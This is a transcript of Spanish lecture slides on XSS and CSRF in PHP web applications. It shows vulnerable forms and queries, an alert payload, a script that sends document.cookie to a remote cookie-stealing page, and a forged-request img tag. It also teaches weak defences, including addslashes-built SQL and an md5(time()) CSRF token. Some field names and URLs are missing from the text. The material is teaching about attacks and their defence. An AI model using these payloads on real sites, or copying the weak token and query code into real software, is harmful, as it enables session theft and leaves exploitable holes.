La descarga está en progreso. Por favor, espere

La descarga está en progreso. Por favor, espere

CI-2413 Desarrollo de Aplicaciones para Internet

Presentaciones similares


Presentación del tema: "CI-2413 Desarrollo de Aplicaciones para Internet"— Transcripción de la presentación:

1 CI-2413 Desarrollo de Aplicaciones para Internet
Ataques XSS y CSRF CI Desarrollo de Aplicaciones para Internet

2 Seguridad Podremos hablar de aplicaciones web seguras y inseguras.
Por definición una aplicación web segura es aquella que es 100% invulnerable a cualquier tipo de ataque. Sobre esta base se pueden considerar las aplicaciones web como inseguras. Se verá protección contra dos tipos de ataques.

3 Cross-Site Scripting (XSS)
El error fundamental que conduce a vulnerabilidades de tipo XSS es tener confianza en los datos foráneos. La recomendación general es desconfiar siempre de los datos del visitante. Como datos foráneos vamos a considerar cualquier dato que reciba el servidor web. V.G.: correo emitido por un cliente de correo web, un banner publicitario, las citas proveidas por XML vía HTTP, los datos del visitante, ...

4 Ejemplo de XSS Considere el siguiente formulario:
<form action="/registrar.php" method="post"> <p>Nombre de usuario: <input type="text" name="reg_usuario" /></p> <p> <input type="text" name="reg_ " /></p> <p><input type="submit" value="Registrar" /> </form>

5 Ejemplo de XSS Ahora considere el siguiente script de inserción de los datos: if (!get_magic_quotes_gpc()) { $_POST['reg_usuario'] = addslashes($_POST['reg_usuario']); $_POST['reg_ '] = addslashes($_POST['reg_ ']); } $sql = "insert into users (username, ) values ('{$_POST['reg_usuario ']}', '{$_POST['reg_ ']}')";

6 Ejemplo de XSS Imagine el siguiente nombre de usuario:
<script>alert('¡Oh no!');</script> Se puede determinar fácilmente que el código anterior no es nombre de usuario válido, lo cual demuestra que el código que escribimos no es siempre prudente. Por supuesto, el peligro de XSS reside en el efecto producido cuando los datos son reenviados a otros utilizadores.

7 Ejemplo de XSS Despligue por un administrador: <table>
<th>Usuario</th> <th> </th> </tr> <?php if ($_SESSION['admin']) { $sql = 'select username, from users'; $result = mysql_query($sql); while ($user = mysql_fetch_assoc($result)) { echo "\t<tr>\n"; echo "\t\t<td>{$user['username']}</td>\n"; echo "\t\t<td>{$user[' ']}</td>\n"; echo "\t</tr>\n"; } ?> </table>

8 Ejemplo de XSS En el ejemplo anterior si los datos no son validados antes de ser guardados, el administrador podrá ser sujeto de un ataque XSS.

9 Ejemplo de XSS El riesgo es aún más evidente con algún ataque más vicioso como el siguiente: <script> document.location = ' + document.cookie </script> En este ejemplo, el script distante roba_cookies.php puede acceder a los cookies con la variable $_GET['cookies']. Un vez capturados los cookies pueden ser utilizados para lanzar ataques de usurpación de identidad, obtener datos sensibles, etc.

10 Protegerse contra XSS Filtrar todos los datos foráneos.
Utilizar la funcionalidad existente: htmlentities(), strip_tags, utf8_decode(), etc. pueden ayudar a escribir la lógica de filtrado. Solamente autorizar un contenido validado. Utilizar una convención de nombres descriptiva. Ser creativo.

11 Cross-Site Request Forgeries (CSRF)
Este tipo de ataques en lugar de explotar la confianza del usuario explotan la confianza que hace el sitio web a sus usuarios. CSRF implica la simulación de solicitudes HTTP, por lo cual es muy importante entender las solicitudes HTTP.

12 Ejemplo de CSRF Considere un foro hipotético en que utiliza el siguiente formulario: <form action="/add_post.php"> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>

13 Ejemplo de CSRF Dado que en el código anterior no se indicó POST una solicitud GET es enviada: GET /add_post.php?post_subject=foo&post_message=bar HTTP/1.1 HOST: foro.ejemplo.org Cookie: PHPSESSID=

14 Ejemplo de CSRF Considere la etiqueta <img> siguiente:
<img src=" /> Cuando un navegador pida esta imagen va a enviar exactamente la misma solicitud de la filmina anterior. La víctima va a enviar un mensaje en el foro y sin darse cuenta.

15 Protegerse contra CSRF
Utilizar el método POST en los formularios. Utilizar el arreglo $_POST en lugar de las variables creadas gracias a register_globals. No simplificar las acciones importantes. Obligar al usuario a utilizar nuestros formularios HTML.

16 Protegerse contra CSRF
Un ejemplo de técnica para obligar al usuario a utilizar nuestros propios formularios es la siguiente: <?php $token = md5(time()); $_SESSION['token'] = $token; $_SESSION['token_timestamp'] = time(); ?> <form action="/add_post.php"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <p>Asunto: <input type="text" name="post_subject" /></p> <p>Mensaje: <textarea name="post_message"></textarea></p> <p><input type="submit" value="Enviar" /></p> </form>

17 Lecturas adicionales PHP Under Attaque: presentación sobre XSS y CSRF
XSS CSRF

18 Proyecto de seguridad XSS:
HTMLfilter es un proyecto para PHP que analiza todos los datos HTTP antes de ser utilizados.


Descargar ppt "CI-2413 Desarrollo de Aplicaciones para Internet"

Presentaciones similares


Anuncios Google